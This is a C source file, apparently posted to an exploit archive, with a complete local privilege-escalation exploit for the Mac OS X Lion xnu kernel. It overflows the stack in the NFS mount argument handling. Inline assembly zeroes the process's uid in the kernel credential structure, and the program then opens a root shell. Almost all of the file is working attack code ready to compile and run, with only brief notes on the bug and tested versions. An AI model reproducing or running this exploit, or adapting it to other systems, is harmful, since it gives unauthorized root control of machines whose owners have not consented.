: Apple Mac OS X Lion Kernel

[]

/*
 * Apple Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 NFS Mount Privilege Escalation Exploit
 * CVE None
 * by Kenzley Alphonse <kenzley [dot] alphonse [at] gmail [dot] com>
 *
 *
 * Notes:
 * This exploit leverage a stack overflow vulnerability to escalate privileges.
 * The vulnerable function nfs_convert_old_nfs_args does not verify the size 
 * of a user-provided argument before copying it to the stack. As a result by
 * passing a large size, a local user can overwrite the stack with arbitrary 
 * content.
 *
 * Tested on Max OS X Lion xnu-1699.22.73 (x86_64)
 * Tested on Max OS X Lion xnu-1699.32.7 (x86_64)
 *
 * Greets to taviso, spender, joberheide
 */
     #include <stdio.h>
  #include <stdlib.h>
  #include <strings.h>
  #include <errno.h>
  #include <sys/mman.h>
  #include <sys/mount.h>
  #include <sys/param.h>
  #include <sys/stat.h>
  #include <sys/types.h>
  #include <unistd.h>
     /** change these to fit your environment if needed **/
  #define SSIZE (536)
     /** struct user_nfs_args was copied directly from "/bsd/nfs/nfs.h" of the xnu kernel **/
  struct user_nfs_args {
 int version; /* args structure version number */
 char* addr __attribute__((aligned(8))); /* file server address */
 int addrlen; /* length of address */
 int sotype; /* Socket type */
 int proto; /* and Protocol */
 char * fh __attribute__((aligned(8))); /* File handle to be mounted */
 int fhsize; /* Size, in bytes, of fh */
 int flags; /* flags */
 int wsize; /* write size in bytes */
 int rsize; /* read size in bytes */
 int readdirsize; /* readdir size in bytes */
 int timeo; /* initial timeout in .1 secs */
 int retrans; /* times to retry send */
 int maxgrouplist; /* Max. size of group list */
 int readahead; /* # of blocks to readahead */
 int leaseterm; /* obsolete: Term (sec) of lease */
 int deadthresh; /* obsolete: Retrans threshold */
 char* hostname __attribute__((aligned(8))); /* server's name */
 /* NFS_ARGSVERSION 3 ends here */
 int acregmin; /* reg file min attr  cache timeout */
 int acregmax; /* reg file max attr cache timeout */
 int acdirmin; /* dir min attr cache timeout */
 int acdirmax; /* dir max attr cache timeout */
 /* NFS_ARGSVERSION 4 ends here */
 uint auth; /* security mechanism flavor */
 /* NFS_ARGSVERSION 5 ends here */
 uint deadtimeout; /* secs until unresponsive mount considered dead */
  };
     /** sets the uid for the current process and safely exits from the kernel**/
  static void r00t_me() {
 asm(
 // padding
 "nop; nop; nop; nop;"
    // task_t %rax = current_task()
 "movq %%gs:0x00000008, %%rax;"
 "movq 0x00000348(%%rax), %%rax;"
    // proc %rax = get_bsdtask_info()
 "movq 0x000002d8(%%rax),%%rax;"
    // ucred location at proc
 "movq 0x000000d0(%%rax),%%rax;"
    // uid = 0
 "xorl %%edi, %%edi;" 
 "movl %%edi, 0x0000001c(%%rax);"
 "movl %%edi, 0x00000020(%%rax);"
    // fix the stack pointer and return (EACCES)
 "movq $13, %%rax;"
 "addq $0x00000308,%%rsp;"
 "popq %%rbx;"
 "popq %%r12;"
 "popq %%r13;"
 "popq %%r14;"
 "popq %%r15;"
 "popq %%rbp;"
 "ret;"
 :::"%rax"
 );
  }
     int main(int argc, char ** argv) {
 struct user_nfs_args xdrbuf;
 char * path;
 char obuf[SSIZE];
       /** clear the arguments **/
 memset(&xdrbuf, 0x00, sizeof(struct user_nfs_args));
 memset(obuf, 0x00, SSIZE);
    /** set up variable to get path to vulnerable code **/
 xdrbuf.version = 3;
 xdrbuf.hostname = "localhost";
 xdrbuf.addrlen = SSIZE;
 xdrbuf.addr = obuf;
    /** set ret address **/
 *(unsigned long *)&obuf[528] = (unsigned long) (&r00t_me + 5);
 printf("[*] set ret = 0x%.16lx\n", *(unsigned long *)&obuf[528]);
    /** create a unique tmp name **/
 if ((path = tmpnam(NULL)) == NULL) {
 // path can be any directory which we have read/write/exec access
 // but I'd much rather create one instead of searching for one
 perror("[-] tmpnam");
 exit(EXIT_FAILURE);
 }
    /** make the path in tmp so that we can use it **/
 if (mkdir(path, 0660) < 0) {
 perror("[-] mkdir");
 exit(EXIT_FAILURE);
 }
    /** inform the user that the path was created **/
 printf("[*] created sploit path%s\n", path);
    /** call the vulnerable function **/
 if (mount("nfs", path, 0, &xdrbuf) < 0) {
 if (errno == EACCES) {
 puts("[+] escalating privileges...");
 } else {
 perror("[-] mount");
 }
    }
    /** clean up tmp dir **/
 if (rmdir(path) < 0) {
 perror("[-] rmdir");
 }
    /** check if privs are equal to root **/
 if (getuid() != 0) {
 puts("[-] priviledge escalation failed");
 exit(EXIT_FAILURE);
 }
    /** get root shell **/
 printf("[+] We are now uid=%i ... your welcome!\n", getuid());
 printf("[+] Dropping a shell.\n");
 execl("/bin/sh", "/bin/sh", NULL);
 return 0;
  }

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